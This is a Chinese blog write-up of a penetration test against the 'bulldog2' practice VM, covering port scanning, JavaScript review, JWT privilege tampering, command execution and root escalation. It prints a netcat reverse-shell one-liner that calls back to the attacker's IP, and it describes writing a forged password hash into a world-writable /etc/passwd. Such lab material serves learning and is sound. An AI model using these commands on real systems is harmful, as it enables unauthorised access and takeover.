靶机渗透----bulldog2

测试流程

一,信息收集

(1)nmap扫描端口

在这里插入图片描述

发现主机,上nmap神器
在这里插入图片描述

【思路】
     1.  针对80端口的http服务,探测有无危险方法(put,delete)
     2.  针对nginx中间件的版本探测漏洞

用nmap探测http有无危险方法访问

nmap --script http-methods --script-args http-methods.url-path="/" 192.168.44.140

思路1在这里插入图片描述

思路2在这里插入图片描述

  • 没有利用点

(2)目录扫描查看


二,漏洞发现

(1)访问查看页面有什么功能,根据功能测试有无漏洞

  • 在这里插入图片描述
    在这里插入图片描述
【思路】
    一,登录功能的常见漏洞
			1、账号密码能否爆破
			2、登录权限是否能绕过
			3、登录账号能否被枚举
			4、登录账号是否存在弱口令
			5、是否存在COOKIE/TOKEN未失效(无过期时间)
			6、账号密是否存在xss
			7、账号密码是否明文传输或加密传输
			8、账号密码或验证码是否存在sql注入漏洞
    

针对登录功能的测试
1.注入

  • 在这里插入图片描述

.
2.XSS

  • 在这里插入图片描述
    爆出路径

查看注册功能
在这里插入图片描述

想到了功能由js脚本处理,审查元素看看

在这里插入图片描述
感觉有点东西,接下来搞下来,查看源码。
在这里插入图片描述

(2)对js文件源码分析思路

【审查js文件的 思路】
       	1. 找危险函数
		2. 找交互点
		3. 反推数据包的格式
		4. 找关键词 (eg: admin / user / get......)
		5. 若有发包操作,找字段名,

1.下载下来的文件往往看起来很乱,先美化一波
使用notepad++的jstool美化
也可以用浏览器的调试器美化

  • 在这里插入图片描述

.
2.查找危险函数和搜索信息
因为是注册功能,必然存在交互点。尝试找user

  • 在这里插入图片描述
    猜测是判断是否为管理员的功能函数,
    http.post判断为post传输数据

.
3.查找注册功能的代码

  • 在这里插入图片描述

.
4. 假设为post传参,搜索post

  • 在这里插入图片描述

【POC】

1. 根据JS文件,访问/users/register为登录功能。抓包

  • 在这里插入图片描述

.
2.修改type为json,构造注册用户的json。发包测试

  • 在这里插入图片描述

.
3. 登录验证

  • 在这里插入图片描述
    成功注册,发现了注册功能。对注册功能测试

(3)对发现的注册功能测试

【对注册功能的测试思路】
		1、是否存在短信炸弹漏洞
		2、是否存在xss漏洞(有输入操作)
		3、是否存在sql注入漏洞
		4、短信验证码是否能被绕过
		5、是否存在用户名二次注册漏洞
		6、是否存在任意账号注册
		7、是否存在用户名枚举漏洞
		8、是否存在用户恶意注册漏洞
		9、是否存在邮箱炸弹漏洞
-----------------------------------------------------------------------------
由于发现的功能点通过发包实现。而且加上在js文件发现了有很象管理员认证的函数功能
    --> 尝试能否注册一个管理员用户
    

(4)结合发现的注册功能点,测试登录是否存在水平和垂直越权

测试水平越权

  • 在这里插入图片描述
    先注册另一个账号,然后尝试在登录abc用户的状态下水平越到1用户
    在这里插入图片描述
    存在水平越权用户名枚举漏洞

用注册的用户登录抓包查看
在这里插入图片描述

看到了JWT

去解码先
在这里插入图片描述
修改auth_level为master_admin_user

  • 在这里插入图片描述

三,漏洞利用

(1)尝试利用登录漏洞垂直越权到admin

【利用方法】
		1. 由于是前端的JS文件认证,拦截服务器发给前端的包
		2. 修改JWT,和auth_level 字段值。

在这里插入图片描述

在这里插入图片描述

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Mon, 07 Oct 2019 13:38:53 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 361
Connection: close
X-Powered-By: Express
Access-Control-Allow-Origin: *
ETag: W/"169-Q80c/7fI8LZR/UkDvwKQRF/2nNE"

{"success":true,"token":"JWT eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwYXlsb2FkIjp7Im5hbWUiOiIxIiwiZW1haWwiOiIxQHRlc3QuY29tIiwidXNlcm5hbWUiOiIxIiwiYXV0aF9sZXZlbCI6InN0YW5kYXJkX3VzZXIifSwiaWF0IjoxNTcwNDUzMjY3LCJleHAiOjE1NzEwNTgwNjd9.ecpgbdBX5_YMg9FtWInT-WjJTpwZSd4WDGtDmF9vQ7I","user":{"name":"1","username":"1","email":"[email protected]","auth_level":"master_admin_user"}}

在这里插入图片描述

查看admin功能
在这里插入图片描述
发包查看

在这里插入图片描述
好像没什么用啊,思路断了。

(2)溢出漏洞爆出绝对路径及利用思路

想看看是否存在缓存区溢出漏洞的存在
在这里插入图片描述

【 获取绝对路径后的利用思路】
        1. 显示出 (.git)或者是 (.svn/enteiti)文件
                        --> 可以使用githack,SvnHack工具尝试能否得到源码
     
        2. 直接在github上搜索查看能否得到 项目的源码,
                         --> 然后做代码审计

直接去github搜

在这里插入图片描述
还真有!

【找到开源的项目地址如何进一步锁定源代码】

  • 1.首先请求的是/users/linkauthenticate,直接搜索查看有无相关内容
    在这里插入图片描述

.

  • 2.根据response包中的固定内容确定源码文件{"success":false,"msg":"Wrong password"}
    在这里插入图片描述

.

  • 3.猜测是users.js为处理文件,审计代码发现有无利用点
    在这里插入图片描述

(3)命令执行漏洞的利用

尝试反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1|nc 192.168.44.128 9090 >/tmp/f
在这里插入图片描述
在这里插入图片描述

四,提权

sudo -l 需要输入密码

find / -perm -u=s -type f 2>/dev/null -exec ls -l{} \; 没有结果

find / -perm -o=w -type f 2>/dev/null | grep -v "/proc/"

在这里插入图片描述

结合脏牛提权的原理,直接修改,在密码占位符处写入经过加密处理的密码

1. 用perl生产加密密码

  • 在这里插入图片描述
    其中,pass为加密的密码;aa表示使用的加密盐(可以有aa,sa,Fx等),如果不使用加密盐,那么输出的字符串将不是crypt加密格式,而是MD5加密格式的。所以,加密盐其实是必须的参数

.
2.写入passwd文件

  • 在这里插入图片描述

.
3.查看用户

  • 在这里插入图片描述

.
4. 尝试切换用户

  • 在这里插入图片描述

? 通过靶机学习到的知识

(1)node.js

node:Node 是一个让 JavaScript 运行在服务端的开发平台,它让 JavaScript 成为与PHP、Python、Perl、Ruby 等服务端语言平起平坐的脚本语言。发布于2009年5月,实质是对Chrome V8引擎进行了封装.
.

node.js:Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境。 Node.js 使用了一个事件驱动、非阻塞式 I/O 的模型。

【自己的理解】
           有些站点使用了前端的JavaScript进行功能操作,
   
   
      ?如何发现
                   审查元素,存在大量的js为文件,访问查看是否有功能函数         

  

发布了49 篇原创文章 · 获赞 33 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/Z_Grant/article/details/102239205